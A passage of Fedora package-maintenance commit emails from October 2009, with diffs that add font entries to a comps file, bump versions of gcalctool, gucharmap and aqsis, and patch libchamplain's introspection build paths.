       <packagereq type="optional">un-extra-fonts-jamodotum</packagereq>
@@ -2031,6 +2056,7 @@
       <packagereq type="optional">un-extra-fonts-taza</packagereq>
       <packagereq type="optional">un-extra-fonts-vada</packagereq>
       <packagereq type="optional">un-extra-fonts-yetgul</packagereq>
+      <packagereq type="optional">vemana2000-fonts</packagereq>
       <packagereq type="optional">vlgothic-fonts</packagereq>
       <packagereq type="optional">vlgothic-p-fonts</packagereq>
       <packagereq type="optional">vollkorn-fonts</packagereq>
@@ -2427,6 +2453,7 @@
       <packagereq type="optional">bpg-algeti-fonts</packagereq>
       <packagereq type="optional">bpg-courier-s-fonts</packagereq>
       <packagereq type="optional">bpg-elite-fonts</packagereq>
+      <packagereq type="optional">bpg-excelsior-fonts</packagereq>
       <packagereq type="optional">bpg-ingiri-fonts</packagereq>
       <packagereq type="optional">bpg-nino-medium-cond-fonts</packagereq>
       <packagereq type="optional">bpg-nino-medium-fonts</packagereq>
@@ -2903,6 +2930,7 @@
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>
       <packagereq type="optional">gfs-olga-fonts</packagereq>
+      <packagereq type="optional">gfs-philostratos-fonts</packagereq>
       <packagereq type="optional">gfs-porson-fonts</packagereq>
       <packagereq type="optional">gfs-pyrsos-fonts</packagereq>
       <packagereq type="optional">gfs-solomos-fonts</packagereq>
@@ -3896,7 +3924,7 @@
       <packagereq type="default">xorg-x11-fonts-Type1</packagereq>
       <packagereq type="optional">artwiz-aleczapka-fonts</packagereq>
       <packagereq type="optional">baekmuk-bdf-fonts</packagereq>
-      <packagereq type="optional">bitmap-fonts-cjk</packagereq>
+      <packagereq type="optional">bitmap-cjk-fonts</packagereq>
       <packagereq type="optional">ctan-musixtex-fonts</packagereq>
       <packagereq type="optional">culmus-aharoni-clm-fonts</packagereq>
       <packagereq type="optional">culmus-caladings-clm-fonts</packagereq>
@@ -3921,8 +3949,20 @@
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
       <packagereq type="optional">knm_new-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
+      <packagereq type="optional">lyx-cmex10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmmi10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmr10-fonts</packagereq>
+      <packagereq type="optional">lyx-cmsy10-fonts</packagereq>
+      <packagereq type="optional">lyx-esint10-fonts</packagereq>
+      <packagereq type="optional">lyx-eufm10-fonts</packagereq>
+      <packagereq type="optional">lyx-msam10-fonts</packagereq>
+      <packagereq type="optional">lyx-msbm10-fonts</packagereq>
+      <packagereq type="optional">lyx-wasy10-fonts</packagereq>
       <packagereq type="optional">mona-bitmap-fonts</packagereq>
+      <packagereq type="optional">nethack-bitmap-fonts</packagereq>
       <packagereq type="optional">nted-ntedfont-fonts</packagereq>
+      <packagereq type="optional">rosegarden4-feta-fonts</packagereq>
+      <packagereq type="optional">rosegarden4-parmesan-fonts</packagereq>
       <packagereq type="optional">taipeifonts</packagereq>
       <packagereq type="optional">terminus-fonts</packagereq>
       <packagereq type="optional">terminus-fonts-console</packagereq>



From mclasen at fedoraproject.org  Mon Oct 19 20:44:37 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 20:44:37 +0000 (UTC)
Subject: rpms/gcalctool/F-12 .cvsignore, 1.68, 1.69 gcalctool.spec, 1.99,
	1.100 sources, 1.69, 1.70
Message-ID: <20091019204437.8DBC611C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gcalctool/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9727

Modified Files:
	.cvsignore gcalctool.spec sources 
Log Message:
5.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcalctool/F-12/.cvsignore,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- .cvsignore	22 Sep 2009 00:11:49 -0000	1.68
+++ .cvsignore	19 Oct 2009 20:44:35 -0000	1.69
@@ -1 +1 @@
-gcalctool-5.28.0.tar.bz2
+gcalctool-5.28.1.tar.bz2


Index: gcalctool.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcalctool/F-12/gcalctool.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- gcalctool.spec	22 Sep 2009 00:11:50 -0000	1.99
+++ gcalctool.spec	19 Oct 2009 20:44:36 -0000	1.100
@@ -1,5 +1,5 @@
 Name:           gcalctool
-Version:        5.28.0
+Version:        5.28.1
 Release:        1%{?dist}
 Summary:        A desktop calculator
 
@@ -98,6 +98,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 5.28.1-1
+- Update to 5.28.1, misc bug fixes
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 5.28.0-1
 - Update to 5.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcalctool/F-12/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	22 Sep 2009 00:11:50 -0000	1.69
+++ sources	19 Oct 2009 20:44:37 -0000	1.70
@@ -1 +1 @@
-03d8f034ee844888e7ec9ad317096028  gcalctool-5.28.0.tar.bz2
+c75cdccfa3a1dc7052dbec33f83809fe  gcalctool-5.28.1.tar.bz2



From rishi at fedoraproject.org  Mon Oct 19 20:44:48 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Mon, 19 Oct 2009 20:44:48 +0000 (UTC)
Subject: rpms/libchamplain/devel libchamplain-0.4.1-gir.patch,NONE,1.1
Message-ID: <20091019204448.85AE511C00DC@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10074

Added Files:
	libchamplain-0.4.1-gir.patch 
Log Message:
* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
- Version bump to 0.4.1.
  * Added champlain_view_remove_layer.
  * ChamplainSelectionLayer now has a "changed" signal.
  * Added champlain_marker_get_highlighted_text_color,
    champlain_marker_set_highlighted_text_color and
    Added champlain_marker_get_highlighted_color.
  * Fixed slowdowns with big caches.
  * Don't emit invalid latitude and longitude notifications.
  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
    Bugzilla #598106)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
  and 'BuildRequires: gir-repository-devel'.
- Explicitly disabled debug code.
- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.


libchamplain-0.4.1-gir.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE libchamplain-0.4.1-gir.patch ---
diff -urNp libchamplain-0.4.1.orig/champlain-gtk/Makefile.in libchamplain-0.4.1/champlain-gtk/Makefile.in
--- libchamplain-0.4.1.orig/champlain-gtk/Makefile.in	2009-10-19 22:45:11.175070972 +0300
+++ libchamplain-0.4.1/champlain-gtk/Makefile.in	2009-10-19 22:46:51.544069156 +0300
@@ -715,7 +715,7 @@ champlain-gtk-marshal.c: $(CHAMPLAIN_GTK
 @HAVE_INTROSPECTION_TRUE@	$(SOUP_CFLAGS) \
 @HAVE_INTROSPECTION_TRUE@	-I$(top_srcdir)			\
 @HAVE_INTROSPECTION_TRUE@	-DCHAMPLAIN_COMPILATION 	\
- at HAVE_INTROSPECTION_TRUE@	--add-include-path=$(builddir) \
+ at HAVE_INTROSPECTION_TRUE@	--add-include-path=$(top_builddir)/champlain \
 @HAVE_INTROSPECTION_TRUE@	--c-include="$(libchamplain_include_HEADERS)" \
 @HAVE_INTROSPECTION_TRUE@	--include=Champlain-0.4 \
 @HAVE_INTROSPECTION_TRUE@	--include=Clutter-1.0 \
@@ -729,7 +729,7 @@ champlain-gtk-marshal.c: $(CHAMPLAIN_GTK
 @HAVE_INTROSPECTION_TRUE@	$(addprefix $(srcdir)/,$(libchamplain_include_HEADERS))
 
 @HAVE_INTROSPECTION_TRUE@%.typelib: %.gir $(INTROSPECTION_COMPILER)
- at HAVE_INTROSPECTION_TRUE@	$(QUIET_GEN)$(DEBUG) $(INTROSPECTION_COMPILER) --includedir=$(srcdir) --includedir=. $(INTROSPECTION_COMPILER_OPTS) $< -o $(builddir)/$(@F)
+ at HAVE_INTROSPECTION_TRUE@	$(QUIET_GEN)$(DEBUG) $(INTROSPECTION_COMPILER) --includedir=$(srcdir) --includedir=. --includedir=$(top_builddir)/champlain $(INTROSPECTION_COMPILER_OPTS) $< -o $(builddir)/$(@F)
 
 # Tell versions [3.59,3.63) of GNU make to not export all variables.
 # Otherwise a system limit (for SysV at least) may be exceeded.



From rishi at fedoraproject.org  Mon Oct 19 20:45:15 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Mon, 19 Oct 2009 20:45:15 +0000 (UTC)
Subject: rpms/libchamplain/F-12 libchamplain-0.4.1-gir.patch,NONE,1.1
Message-ID: <20091019204515.6424611C00DC@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10171

Added Files:
	libchamplain-0.4.1-gir.patch 
Log Message:
* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
- Version bump to 0.4.1.
  * Added champlain_view_remove_layer.
  * ChamplainSelectionLayer now has a "changed" signal.
  * Added champlain_marker_get_highlighted_text_color,
    champlain_marker_set_highlighted_text_color and
    Added champlain_marker_get_highlighted_color.
  * Fixed slowdowns with big caches.
  * Don't emit invalid latitude and longitude notifications.
  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
    Bugzilla #598106)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
  and 'BuildRequires: gir-repository-devel'.
- Explicitly disabled debug code.
- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.


libchamplain-0.4.1-gir.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE libchamplain-0.4.1-gir.patch ---
diff -urNp libchamplain-0.4.1.orig/champlain-gtk/Makefile.in libchamplain-0.4.1/champlain-gtk/Makefile.in
--- libchamplain-0.4.1.orig/champlain-gtk/Makefile.in	2009-10-19 22:45:11.175070972 +0300
+++ libchamplain-0.4.1/champlain-gtk/Makefile.in	2009-10-19 22:46:51.544069156 +0300
@@ -715,7 +715,7 @@ champlain-gtk-marshal.c: $(CHAMPLAIN_GTK
 @HAVE_INTROSPECTION_TRUE@	$(SOUP_CFLAGS) \
 @HAVE_INTROSPECTION_TRUE@	-I$(top_srcdir)			\
 @HAVE_INTROSPECTION_TRUE@	-DCHAMPLAIN_COMPILATION 	\
- at HAVE_INTROSPECTION_TRUE@	--add-include-path=$(builddir) \
+ at HAVE_INTROSPECTION_TRUE@	--add-include-path=$(top_builddir)/champlain \
 @HAVE_INTROSPECTION_TRUE@	--c-include="$(libchamplain_include_HEADERS)" \
 @HAVE_INTROSPECTION_TRUE@	--include=Champlain-0.4 \
 @HAVE_INTROSPECTION_TRUE@	--include=Clutter-1.0 \
@@ -729,7 +729,7 @@ champlain-gtk-marshal.c: $(CHAMPLAIN_GTK
 @HAVE_INTROSPECTION_TRUE@	$(addprefix $(srcdir)/,$(libchamplain_include_HEADERS))
 
 @HAVE_INTROSPECTION_TRUE@%.typelib: %.gir $(INTROSPECTION_COMPILER)
- at HAVE_INTROSPECTION_TRUE@	$(QUIET_GEN)$(DEBUG) $(INTROSPECTION_COMPILER) --includedir=$(srcdir) --includedir=. $(INTROSPECTION_COMPILER_OPTS) $< -o $(builddir)/$(@F)
+ at HAVE_INTROSPECTION_TRUE@	$(QUIET_GEN)$(DEBUG) $(INTROSPECTION_COMPILER) --includedir=$(srcdir) --includedir=. --includedir=$(top_builddir)/champlain $(INTROSPECTION_COMPILER_OPTS) $< -o $(builddir)/$(@F)
 
 # Tell versions [3.59,3.63) of GNU make to not export all variables.
 # Otherwise a system limit (for SysV at least) may be exceeded.



From kwizart at fedoraproject.org  Mon Oct 19 20:49:51 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 20:49:51 +0000 (UTC)
Subject: rpms/aqsis/devel aqsis.spec,1.17,1.18
Message-ID: <20091019204952.00AA511C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11205/devel

Modified Files:
	aqsis.spec 
Log Message:
- Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/aqsis.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- aqsis.spec	19 Oct 2009 19:33:50 -0000	1.17
+++ aqsis.spec	19 Oct 2009 20:49:51 -0000	1.18
@@ -1,7 +1,7 @@
 Name:		aqsis
 Version:	1.6.0
 Release:	1%{?dist}
-Summary:	Open source RenderMan-compliant 3D rendering solution
+Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 
 License:	GPLv2+ and LGPLv2+
@@ -13,7 +13,7 @@ BuildRequires:  desktop-file-utils
 
 BuildRequires:  bison >= 1.35.0
 BuildRequires:  boost-devel >= 1.34.0
-BuildRequires:  cmake >= 2.4.6
+BuildRequires:  cmake >= 2.6.3
 BuildRequires:  flex >= 2.5.4
 BuildRequires:  fltk-devel >= 1.1.0, fltk-fluid
 BuildRequires:  libjpeg-devel >= 6
@@ -28,45 +28,53 @@ Requires: aqsis-data = %{version}-%{rele
 
 
 %description
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains a command-line renderer, a shader compiler for shaders 
-written using the RenderMan shading language, a texture pre-processor for 
-optimizing textures and a RIB processor.
+This package contains graphical utilities and desktop integration.
 
 
 %package core
 Requires:	%{name}-libs = %{version}-%{release}
-Summary:	Core binaries for Aqsis
+Summary:	Command-line tools for Aqsis Renderer
 Group:		Applications/Multimedia
 
 %description core
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
-
-This package contains the core binaries for aqsis.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
+
+This package contains a command-line renderer, a shader compiler
+for shaders written using the RenderMan shading language, a texture
+pre-processor for optimizing textures and a RIB processor.
 
 
 %package libs
-Summary:        Libraries for %{name}
+Summary:        Library files for Aqsis Renderer
 Group:          System Environment/Libraries
 
 %description libs
-The %{name}-libs package contains shared libraries for %{name}.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
+
+This package contains the shared libraries for Aqsis Renderer.
 
 
 %package data
 Requires:	%{name} = %{version}-%{release}
-Summary:	Example content for Aqsis
+Summary:	Example content for Aqsis Renderer
 Group:		Applications/Multimedia
 BuildArch:      noarch
 
 %description data
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains example content, including additional scenes and shaders.
+This package contains example content, including additional
+scenes, procedurals and shaders.
 
 
 %package devel
@@ -74,15 +82,16 @@ Requires:	%{name} = %{version}-%{release
 Requires:	aqsis-core = %{version}-%{release}
 Requires:	aqsis-libs = %{version}-%{release}
 Requires:	aqsis-data = %{version}-%{release}
-Summary:	Development files for Aqsis
+Summary:	Development files for Aqsis Renderer
 Group:		Development/Libraries
 
 %description devel
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains various developer libraries to enable integration with 
-third-party applications.
+This package contains various developer libraries to enable
+integration with third-party applications.
 
 
 %prep
@@ -96,14 +105,10 @@ rm -rf build
 mkdir -p build
 pushd build
 %cmake \
-  -DSYSCONFDIR:STRING=%{_sysconfdir}/aqsis \
-  -DSCRIPTSDIR=share/aqsis/scripts \
+  -DSYSCONFDIR:STRING=%{_sysconfdir}/%{name} \
   -DAQSIS_MAIN_CONFIG_NAME=aqsisrc-%{_lib} \
-%if %{?_lib} == "lib64"
   -DLIBDIR=%{_lib} \
-  -DDEFAULT_PLUGIN_PATH="%{_lib}/aqsis" \
-  -DPLUGINDIR=%{_lib}/aqsis/plugins \
-%endif
+  -DPLUGINDIR=%{_lib}/%{name} \
   -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON \
   -DCMAKE_SKIP_RPATH:BOOL=ON \
   -DAQSIS_USE_RPATH:BOOL=OFF \
@@ -124,10 +129,6 @@ pushd build
 make install DESTDIR=$RPM_BUILD_ROOT
 popd
 
-# Move aqsisrc
-mv $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc \
-  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc-%{_lib}
-
 desktop-file-install --vendor "" --delete-original \
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/aqsis.desktop
@@ -149,7 +150,6 @@ desktop-file-install --vendor "" --delet
   $RPM_BUILD_ROOT%{_datadir}/applications/piqsl.desktop
 
 
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -235,6 +235,9 @@ fi || :
 
 
 %changelog
+* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-2
+- Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 
+
 * Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1
 - Update to 1.6.0
 



From kwizart at fedoraproject.org  Mon Oct 19 20:49:52 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 20:49:52 +0000 (UTC)
Subject: rpms/aqsis/F-12 aqsis.spec,1.17,1.18
Message-ID: <20091019204952.21A8711C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11205/F-12

Modified Files:
	aqsis.spec 
Log Message:
- Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/aqsis.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- aqsis.spec	19 Oct 2009 19:33:51 -0000	1.17
+++ aqsis.spec	19 Oct 2009 20:49:51 -0000	1.18
@@ -1,7 +1,7 @@
 Name:		aqsis
 Version:	1.6.0
 Release:	1%{?dist}
-Summary:	Open source RenderMan-compliant 3D rendering solution
+Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 
 License:	GPLv2+ and LGPLv2+
@@ -13,7 +13,7 @@ BuildRequires:  desktop-file-utils
 
 BuildRequires:  bison >= 1.35.0
 BuildRequires:  boost-devel >= 1.34.0
-BuildRequires:  cmake >= 2.4.6
+BuildRequires:  cmake >= 2.6.3
 BuildRequires:  flex >= 2.5.4
 BuildRequires:  fltk-devel >= 1.1.0, fltk-fluid
 BuildRequires:  libjpeg-devel >= 6
@@ -28,45 +28,53 @@ Requires: aqsis-data = %{version}-%{rele
 
 
 %description
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains a command-line renderer, a shader compiler for shaders 
-written using the RenderMan shading language, a texture pre-processor for 
-optimizing textures and a RIB processor.
+This package contains graphical utilities and desktop integration.
 
 
 %package core
 Requires:	%{name}-libs = %{version}-%{release}
-Summary:	Core binaries for Aqsis
+Summary:	Command-line tools for Aqsis Renderer
 Group:		Applications/Multimedia
 
 %description core
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
-
-This package contains the core binaries for aqsis.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
+
+This package contains a command-line renderer, a shader compiler
+for shaders written using the RenderMan shading language, a texture
+pre-processor for optimizing textures and a RIB processor.
 
 
 %package libs
-Summary:        Libraries for %{name}
+Summary:        Library files for Aqsis Renderer
 Group:          System Environment/Libraries
 
 %description libs
-The %{name}-libs package contains shared libraries for %{name}.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
+
+This package contains the shared libraries for Aqsis Renderer.
 
 
 %package data
 Requires:	%{name} = %{version}-%{release}
-Summary:	Example content for Aqsis
+Summary:	Example content for Aqsis Renderer
 Group:		Applications/Multimedia
 BuildArch:      noarch
 
 %description data
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains example content, including additional scenes and shaders.
+This package contains example content, including additional
+scenes, procedurals and shaders.
 
 
 %package devel
@@ -74,15 +82,16 @@ Requires:	%{name} = %{version}-%{release
 Requires:	aqsis-core = %{version}-%{release}
 Requires:	aqsis-libs = %{version}-%{release}
 Requires:	aqsis-data = %{version}-%{release}
-Summary:	Development files for Aqsis
+Summary:	Development files for Aqsis Renderer
 Group:		Development/Libraries
 
 %description devel
-Aqsis is a cross-platform photorealistic 3D rendering solution, based 
-on the RenderMan interface standard defined by Pixar Animation Studios.
+Aqsis is a cross-platform photorealistic 3D rendering solution,
+adhering to the RenderMan interface standard defined by Pixar
+Animation Studios.
 
-This package contains various developer libraries to enable integration with 
-third-party applications.
+This package contains various developer libraries to enable
+integration with third-party applications.
 
 
 %prep
@@ -96,14 +105,10 @@ rm -rf build
 mkdir -p build
 pushd build
 %cmake \
-  -DSYSCONFDIR:STRING=%{_sysconfdir}/aqsis \
-  -DSCRIPTSDIR=share/aqsis/scripts \
+  -DSYSCONFDIR:STRING=%{_sysconfdir}/%{name} \
   -DAQSIS_MAIN_CONFIG_NAME=aqsisrc-%{_lib} \
-%if %{?_lib} == "lib64"
   -DLIBDIR=%{_lib} \
-  -DDEFAULT_PLUGIN_PATH="%{_lib}/aqsis" \
-  -DPLUGINDIR=%{_lib}/aqsis/plugins \
-%endif
+  -DPLUGINDIR=%{_lib}/%{name} \
   -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON \
   -DCMAKE_SKIP_RPATH:BOOL=ON \
   -DAQSIS_USE_RPATH:BOOL=OFF \
@@ -124,10 +129,6 @@ pushd build
 make install DESTDIR=$RPM_BUILD_ROOT
 popd
 
-# Move aqsisrc
-mv $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc \
-  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc-%{_lib}
-
 desktop-file-install --vendor "" --delete-original \
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/aqsis.desktop
@@ -149,7 +150,6 @@ desktop-file-install --vendor "" --delet
   $RPM_BUILD_ROOT%{_datadir}/applications/piqsl.desktop
 
 
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -235,6 +235,9 @@ fi || :
 
 
 %changelog
+* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-2
+- Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 
+
 * Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1
 - Update to 1.6.0
 



From kwizart at fedoraproject.org  Mon Oct 19 20:50:27 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 20:50:27 +0000 (UTC)
Subject: rpms/aqsis/devel aqsis.spec,1.18,1.19
Message-ID: <20091019205027.A6F4B11C02A4@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11349/devel

Modified Files:
	aqsis.spec 
Log Message:
Bump 



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/aqsis.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- aqsis.spec	19 Oct 2009 20:49:51 -0000	1.18
+++ aqsis.spec	19 Oct 2009 20:50:27 -0000	1.19
@@ -1,6 +1,6 @@
 Name:		aqsis
 Version:	1.6.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 



From kwizart at fedoraproject.org  Mon Oct 19 20:50:27 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 20:50:27 +0000 (UTC)
Subject: rpms/aqsis/F-12 aqsis.spec,1.18,1.19
Message-ID: <20091019205027.EAB4711C043A@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11349/F-12

Modified Files:
	aqsis.spec 
Log Message:
Bump 



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/aqsis.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- aqsis.spec	19 Oct 2009 20:49:51 -0000	1.18
+++ aqsis.spec	19 Oct 2009 20:50:27 -0000	1.19
@@ -1,6 +1,6 @@
 Name:		aqsis
 Version:	1.6.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 



From mclasen at fedoraproject.org  Mon Oct 19 20:50:27 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 20:50:27 +0000 (UTC)
Subject: rpms/gucharmap/F-12 .cvsignore, 1.24, 1.25 gucharmap.spec, 1.44,
	1.45 sources, 1.24, 1.25
Message-ID: <20091019205027.DD02011C02A4@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gucharmap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11366

Modified Files:
	.cvsignore gucharmap.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gucharmap/F-12/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	22 Sep 2009 00:05:38 -0000	1.24
+++ .cvsignore	19 Oct 2009 20:50:27 -0000	1.25
@@ -1 +1 @@
-gucharmap-2.28.0.tar.bz2
+gucharmap-2.28.1.tar.bz2


Index: gucharmap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gucharmap/F-12/gucharmap.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- gucharmap.spec	22 Sep 2009 00:37:27 -0000	1.44
+++ gucharmap.spec	19 Oct 2009 20:50:27 -0000	1.45
@@ -3,7 +3,7 @@
 %define desktop_file_utils_version 0.9
 
 Name:           gucharmap
-Version:        2.28.0
+Version:        2.28.1
 Release:        1%{?dist}
 Summary:        Unicode character picker and font browser
 
@@ -142,6 +142,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gucharmap/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	22 Sep 2009 00:05:38 -0000	1.24
+++ sources	19 Oct 2009 20:50:27 -0000	1.25
@@ -1 +1 @@
-c358564da35d7bc93b99d826b4d28f7c  gucharmap-2.28.0.tar.bz2
+409a08462fab85daa5523e950a794561  gucharmap-2.28.1.tar.bz2



From alexlan at fedoraproject.org  Mon Oct 19 20:53:30 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Mon, 19 Oct 2009 20:53:30 +0000 (UTC)
Subject: rpms/plplot/F-11 plplot-5.9.4-octave32.patch, NONE,
	1.1 plplot-5.9.4-transform_version.patch, NONE,
	1.1 plplot-5.9.5-test.patch, NONE, 1.1 .cvsignore, 1.17,
	1.18 plplot.spec, 1.75, 1.76 sources, 1.17, 1.18
Message-ID: <20091019205330.4BF7D11C00DC@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/plplot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12343

Modified Files:
	.cvsignore plplot.spec sources 
Added Files:
	plplot-5.9.4-octave32.patch 
